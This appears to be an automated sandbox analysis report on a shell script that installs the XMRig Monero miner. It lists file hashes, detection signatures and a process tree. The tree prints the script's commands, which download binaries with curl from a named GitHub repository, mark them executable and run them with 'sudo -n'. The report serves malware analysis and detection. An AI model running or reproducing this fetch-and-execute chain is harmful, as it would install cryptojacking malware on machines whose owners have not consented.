Analysis
-
max time kernel
42s -
max time network
44s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240729-en -
resource tags
-
submitted
03-09-2024 19:25
General
-
Target
xmr-go.sh
-
Size
774B
-
MD5
2c1e821e7f6738e959ba33002a6cc08f
-
SHA1
615877939420f0055237fc8b6dbf1b54034ab599
-
SHA256
af92f36f142bcc7b514af34a43ec76f1f11e748ef56549619b2af0d27cf61f2a
-
SHA512
94562b41fb17bf2baa2d43c8a9a7f57d93a556dba3b670831d2b87b9ac9c25617a4b6e4461d8c0211ec740dcbab0c148f1229f57421b30f48478d283f0555640
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 10 IoCs
-
Checks hardware identifiers (DMI) 1 TTPs 32 IoCs
Checks DMI information which indicate if the system is a virtual machine.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Reads hardware information 1 TTPs 64 IoCs
Accesses system info like serial numbers, manufacturer names etc.
-
Reads list of loaded kernel modules 1 TTPs 1 IoCs
Reads the list of currently loaded kernel modules, possibly to detect virtual environments.
-
Checks CPU configuration 1 TTPs 9 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads CPU attributes 1 TTPs 64 IoCs
-
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/xmr-go.sh/tmp/xmr-go.sh1⤵
-
/usr/bin/unameuname -m2⤵
-
/usr/bin/curlcurl -LO https://github.com/spetterman66/verynicerepo/raw/main/prepare.bin2⤵
- Writes file to tmp directory
-
/usr/bin/chmodchmod +x prepare.bin2⤵
-
/tmp/prepare.bin./prepare.bin2⤵
- Executes dropped EXE
-
/usr/bin/rmrm xmr_linux_amd642⤵
-
/usr/bin/curlcurl -LO https://github.com/spetterman66/verynicerepo/raw/main/xmr_linux_amd642⤵
- Writes file to tmp directory
-
/usr/bin/chmodchmod +x xmr_linux_amd642⤵
-
/usr/bin/sudosudo -n ./xmr_linux_amd642⤵
-
/tmp/xmr_linux_amd64./xmr_linux_amd643⤵
- Executes dropped EXE
- Reads list of loaded kernel modules
- Checks CPU configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
-
/usr/bin/sudosudo -n true4⤵
-
/usr/bin/truetrue5⤵
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
- Reads runtime system information
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
- Reads runtime system information
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/usr/bin/sudosudo -n /tmp/xmrig/xmrig-6.21.3/xmrig4⤵
-
/tmp/xmrig/xmrig-6.21.3/xmrig/tmp/xmrig/xmrig-6.21.3/xmrig5⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
15KB
MD59304c43102d72225b64e2031c26f4975
SHA1b898d1cb78830ffb21592f8fc4be8b7ac7d703d1
SHA256636c27eaaa247cc54c71ec7b0572f751b85f6e6c5895010050cc644a5575b092
SHA51270df19f4039b794382cb262fb7dd428c951554c473df016bf9b5d896b43e035444ecbaa56fd16b90a595962647cd78187319e16f92d082e9c566757569705f11
-
Filesize
8.8MB
MD502b37d826be05450ceb4f4f1ddb93467
SHA1237bb1a0bb4efcd2219706504262e90cacadf49a
SHA2565d7fb7acbd9fa047b6a24b0b5ea91e3d3775e79b56bc69240c2b482078951467
SHA512a625e9655fa43c3f428a0815d26c342abbfd73ab1f0389dd0d4f3601294e8eba9fca511fe27db86c48ed857286184a4b80721dc4d467313ebc09e79892713999
-
Filesize
150B
MD54f3be397a97fe6981754daeff1c2b77b
SHA1251612464045242636103e61da4a0bc02c8fb99b
SHA2561410925f0ec5a63a042402fd06a1037c06530aefa065aa80a242d82b580c571c
SHA512a22c03e97750a3bd02021514fd12475f502934d94f6b7cf44a2d0a3469618864f8e31df09e84db5f1f1e1be277492922528c614a67dc766754ca4f2e003c880a
-
Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
-
Filesize
3KB
MD52c63dc93a2c74d2a6f6ead20ffa50cdb
SHA1e7a54d662d30702518f88860c88c6a7e55d200be
SHA256d094b093b5d5a1b833828ef566318915be92bf95e03dd36b25eb6832e6b5099d
SHA512dc8f70e77818e7248fa1d251d8d67c0a52af9ca372cb480b58c228855aa0413c0e6a8170622725f2745d90e780e71a5f7b9b3c4a68997a92fdef85153d863d4b
-
Filesize
3KB
MD576a399b42eea8af5d0efe0a893091057
SHA11dc8ba48474c1bd37b112fab20ae366c03c88efe
SHA2562db164299cb76a44e3be123440b07b6025c648d7b0597f3b0461f1f55a21a32a
SHA5122dd9b0b880c1dc79cccf1d619714022a357dc8b080ca7c4ffa41cf2537b1ba88451ee7d2114ade540d02542e865fbf98fad4d8dfe7b36a037e46af974d59a0c1
-
Filesize
7.9MB
MD57429d24207b100f6c164bf4703b5941e
SHA1a7fad4de1ce0ed2c137c09d4bf9fe7276555f4a0
SHA25672ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f
SHA5127d9bcb836d154f5f143815749c36dc928036fb718f4242062a70aa921cbffdd763e167552c79070df1ad8ae7c02647892bcfaa859e24137c3cd41a7f6f6cae27
-
Filesize
3.3MB
MD506b8367fc7b84a666a561a6915a4501d
SHA1d06991f03408390059df8fc387ac7923e4b5fb7a
SHA256a0eefd7a5c0efd1cac153a075b4fdead443a04f11cc587a09bd5ac09e174f10f
SHA5128d507bc49cebf932b7f248c5aea83977352e8e88e02cdbb6cc57d040c0e754ab514106156d42a0ada5d3d4dd549cd6272ec9aca966127430b51680926f98e204